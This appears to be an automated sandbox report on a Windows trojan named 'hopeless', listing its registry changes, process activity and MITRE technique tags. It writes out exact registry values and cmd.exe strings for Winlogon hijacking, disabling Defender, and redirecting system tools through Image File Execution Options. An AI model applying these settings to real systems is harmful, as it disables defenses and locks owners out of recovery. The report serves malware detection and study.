4b824261dffe23c58a489b0156f2631895b29fc2a3f9e9cd8643b3d2f585f6a6

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/07/2026, 20:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hopeless (1).exe
Size 96KB
Sample260722-y42tdstgrd
SHA256 4b824261dffe23c58a489b0156f2631895b29fc2a3f9e9cd8643b3d2f585f6a6
MD5 37d92c9187d3dd4d83bf61adac33a233
SHA1 b5fb36a44da6471e8e587d9d3f31b99ac2fab29c
SHA512 802c8c95e603cd879cefec18d84ffef48b422934769a2d3b2c564b82dfae1868af43b0206f4d902c8f3eb0bd16ebedf1f971cc8e4e1fe0a0302317022fb81676
SSDEEP 3072:qw7G6IGmbTkwxJc/S9PLmZcgmVWQCo9B:Z4LwmoW3
TLSH
T1CBA3070AB2E724FCD67BC97845F65631EB72B8224830AF3E4260D9355D21E50EE35F29
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "cmd.exe /c echo HOPELESS_v5.5 && ping -n 3600 127.0.0.1 && start /min C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\cmd.exe /c echo HOPELESS_v5.5 && start /min C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	hopeless (1).exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	hopeless (1).exe

Windows security bypass 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	hopeless (1).exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo32.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chkdsk.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systeminfo.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systeminfo.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secpol.msc	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secpol.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsutil.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo32.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winver.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powercfg.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsutil.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chkdsk.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powercfg.exe	hopeless (1).exe

Uses Session Manager for persistence 2 TTPs 1 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 63006d0064002e0065007800650020002f00630020006500630068006f00200048004f00500045004c004500530053005f00760035002e00350000006100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a0000000000	hopeless (1).exe

Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	hopeless (1).exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	hopeless (1).exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HopelessV5 = "C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HopelessV5 = "C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe

Modifies WinLogon 2 TTPs 17 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C34B2751-1CF4-44F5-9262-C3FC39666591}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{426031c0-0b47-4852-b0ca-ac3d37bfcb39}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{fbf687e6-f063-4d9f-9f4f-fd9a26acdd5f}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FB2CA36D-0B40-4307-821B-A13B252DE56C}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{e437bc1c-aa7d-11d2-a382-00c04f991e27}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{8A28E2C5-8D06-49A4-A08C-632DAA493E17}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7933F41E-56F8-41d6-A31C-4148A711EE93}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3610eda5-77ef-11d2-8dc5-00c04fa31a66}	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ReportBootOk = "0"	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{25537BA6-77A8-11D2-9B6C-0000F8080861}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{f3ccc681-b74c-4060-9f26-cd84525dca2a}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4bcd6cde-777b-48b6-9804-43568e23545d}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{16be69fa-4209-4250-88cb-716cf41954e0}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}	hopeless (1).exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\hopeless.exe	hopeless (1).exe
File created	C:\Windows\System32\hopeless.exe	hopeless (1).exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\hopeless_wallpaper.bmp"	hopeless (1).exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\hopeless_wallpaper.bmp	hopeless (1).exe

Launches sc.exe 32 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2528	sc.exe
1300	sc.exe
3196	sc.exe
2548	sc.exe
1476	sc.exe
5980	sc.exe
380	sc.exe
1712	sc.exe
3256	sc.exe
5260	sc.exe
3824	sc.exe
5800	sc.exe
780	sc.exe
5912	sc.exe
2592	sc.exe
3532	sc.exe
5708	sc.exe
5520	sc.exe
5372	sc.exe
3284	sc.exe
5008	sc.exe
3320	sc.exe
5948	sc.exe
2708	sc.exe
5048	sc.exe
3644	sc.exe
5388	sc.exe
3048	sc.exe
5648	sc.exe
5316	sc.exe
1236	sc.exe
4956	sc.exe

Executes a command shell one-liner 1 TTPs 34 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4904	cmd.exe
4916	cmd.exe
3992	cmd.exe
5332	cmd.exe
1988	cmd.exe
3760	cmd.exe
1292	cmd.exe
4816	cmd.exe
3488	cmd.exe
4792	cmd.exe
3168	cmd.exe
5196	cmd.exe
2516	cmd.exe
1592	cmd.exe
2420	cmd.exe
552	cmd.exe
2248	cmd.exe
5692	cmd.exe
2712	cmd.exe
2132	cmd.exe
3052	cmd.exe
3268	cmd.exe
2072	cmd.exe
4352	cmd.exe
2828	cmd.exe
3536	cmd.exe
1460	cmd.exe
1832	cmd.exe
4944	cmd.exe
816	cmd.exe
5848	cmd.exe
5780	cmd.exe
4580	cmd.exe
3124	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4036	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe
5972	hopeless (1).exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5972	hopeless (1).exe
Token: SeBackupPrivilege	5972	hopeless (1).exe
Token: SeRestorePrivilege	5972	hopeless (1).exe
Token: SeTakeOwnershipPrivilege	5972	hopeless (1).exe
Token: SeLoadDriverPrivilege	5972	hopeless (1).exe
Token: SeSystemEnvironmentPrivilege	5972	hopeless (1).exe
Token: SeShutdownPrivilege	5972	hopeless (1).exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5972 wrote to memory of 4792	5972	hopeless (1).exe	84
PID 4792 wrote to memory of 3320	4792	cmd.exe	86
PID 5972 wrote to memory of 3992	5972	hopeless (1).exe	87
PID 3992 wrote to memory of 5520	3992	cmd.exe	89
PID 5972 wrote to memory of 4352	5972	hopeless (1).exe	90
PID 4352 wrote to memory of 5048	4352	cmd.exe	92
PID 5972 wrote to memory of 3168	5972	hopeless (1).exe	93
PID 3168 wrote to memory of 3644	3168	cmd.exe	95
PID 5972 wrote to memory of 2828	5972	hopeless (1).exe	96
PID 2828 wrote to memory of 5948	2828	cmd.exe	98
PID 5972 wrote to memory of 5332	5972	hopeless (1).exe	99
PID 5332 wrote to memory of 3196	5332	cmd.exe	101
PID 5972 wrote to memory of 1832	5972	hopeless (1).exe	102
PID 1832 wrote to memory of 5388	1832	cmd.exe	104
PID 5972 wrote to memory of 4944	5972	hopeless (1).exe	105
PID 4944 wrote to memory of 5372	4944	cmd.exe	107
PID 5972 wrote to memory of 5692	5972	hopeless (1).exe	108
PID 5692 wrote to memory of 380	5692	cmd.exe	110
PID 5972 wrote to memory of 1988	5972	hopeless (1).exe	111
PID 1988 wrote to memory of 5648	1988	cmd.exe	113
PID 5972 wrote to memory of 1592	5972	hopeless (1).exe	114
PID 1592 wrote to memory of 2548	1592	cmd.exe	116
PID 5972 wrote to memory of 5780	5972	hopeless (1).exe	117
PID 5780 wrote to memory of 1712	5780	cmd.exe	119
PID 5972 wrote to memory of 5196	5972	hopeless (1).exe	120
PID 5196 wrote to memory of 4956	5196	cmd.exe	122
PID 5972 wrote to memory of 2420	5972	hopeless (1).exe	123
PID 2420 wrote to memory of 5912	2420	cmd.exe	125
PID 5972 wrote to memory of 552	5972	hopeless (1).exe	126
PID 552 wrote to memory of 2708	552	cmd.exe	128
PID 5972 wrote to memory of 2712	5972	hopeless (1).exe	129
PID 2712 wrote to memory of 3256	2712	cmd.exe	131
PID 5972 wrote to memory of 3760	5972	hopeless (1).exe	132
PID 3760 wrote to memory of 3284	3760	cmd.exe	134
PID 5972 wrote to memory of 2132	5972	hopeless (1).exe	135
PID 2132 wrote to memory of 5260	2132	cmd.exe	137
PID 5972 wrote to memory of 3052	5972	hopeless (1).exe	138
PID 3052 wrote to memory of 3048	3052	cmd.exe	140
PID 5972 wrote to memory of 2516	5972	hopeless (1).exe	141
PID 2516 wrote to memory of 2592	2516	cmd.exe	144
PID 5972 wrote to memory of 4580	5972	hopeless (1).exe	145
PID 4580 wrote to memory of 2528	4580	cmd.exe	147
PID 5972 wrote to memory of 1292	5972	hopeless (1).exe	148
PID 1292 wrote to memory of 3824	1292	cmd.exe	150
PID 5972 wrote to memory of 4816	5972	hopeless (1).exe	151
PID 4816 wrote to memory of 1476	4816	cmd.exe	153
PID 5972 wrote to memory of 816	5972	hopeless (1).exe	154
PID 816 wrote to memory of 1300	816	cmd.exe	156
PID 5972 wrote to memory of 3536	5972	hopeless (1).exe	157
PID 3536 wrote to memory of 3532	3536	cmd.exe	159
PID 5972 wrote to memory of 3268	5972	hopeless (1).exe	160
PID 3268 wrote to memory of 5316	3268	cmd.exe	162
PID 5972 wrote to memory of 5848	5972	hopeless (1).exe	163
PID 5848 wrote to memory of 5800	5848	cmd.exe	165
PID 5972 wrote to memory of 3124	5972	hopeless (1).exe	166
PID 3124 wrote to memory of 1236	3124	cmd.exe	168
PID 5972 wrote to memory of 1460	5972	hopeless (1).exe	169
PID 1460 wrote to memory of 5980	1460	cmd.exe	171
PID 5972 wrote to memory of 2072	5972	hopeless (1).exe	172
PID 2072 wrote to memory of 5708	2072	cmd.exe	174
PID 5972 wrote to memory of 2248	5972	hopeless (1).exe	175
PID 2248 wrote to memory of 5008	2248	cmd.exe	177
PID 5972 wrote to memory of 4904	5972	hopeless (1).exe	178
PID 4904 wrote to memory of 780	4904	cmd.exe	180

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableTaskMgr = "1"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	hopeless (1).exe

C:\Users\Admin\AppData\Local\Temp\hopeless (1).exe
"C:\Users\Admin\AppData\Local\Temp\hopeless (1).exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security bypass
- Event Triggered Execution: Image File Execution Options Injection
- Uses Session Manager for persistence
- Impair Defenses: Safe Mode Boot
- Windows security modification
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
